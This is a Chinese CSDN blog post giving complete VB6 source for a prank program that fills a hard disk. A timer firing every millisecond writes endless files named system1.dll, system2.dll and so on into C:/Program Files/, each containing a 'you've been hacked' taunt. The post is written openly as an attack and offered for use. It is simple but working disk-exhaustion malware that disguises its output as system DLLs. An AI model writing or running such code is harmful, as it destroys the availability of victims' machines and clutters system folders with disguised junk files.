用vb6制作随机产生文件把硬盘塞满!

  首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码
Private Sub Timer1_Timer()
‘声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定义要把生成的文件存放在那个目录文件下
c = "c:/Program Files/"
’生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
’如果a等于a那么就执行
If a = a Then
’count不断的加1,以便产生不同的文件名
count = count + 1
’产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
’向文件写内容
Write #files, nr
’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
     小生刚学vb不长时间就班门弄斧,有错的地方望见谅,我的联系信箱是netboy@cnpick.com,有空和我联系啦,呵呵。
  • 0
    点赞
  • 0
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页
评论

打赏作者

huwenyi

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值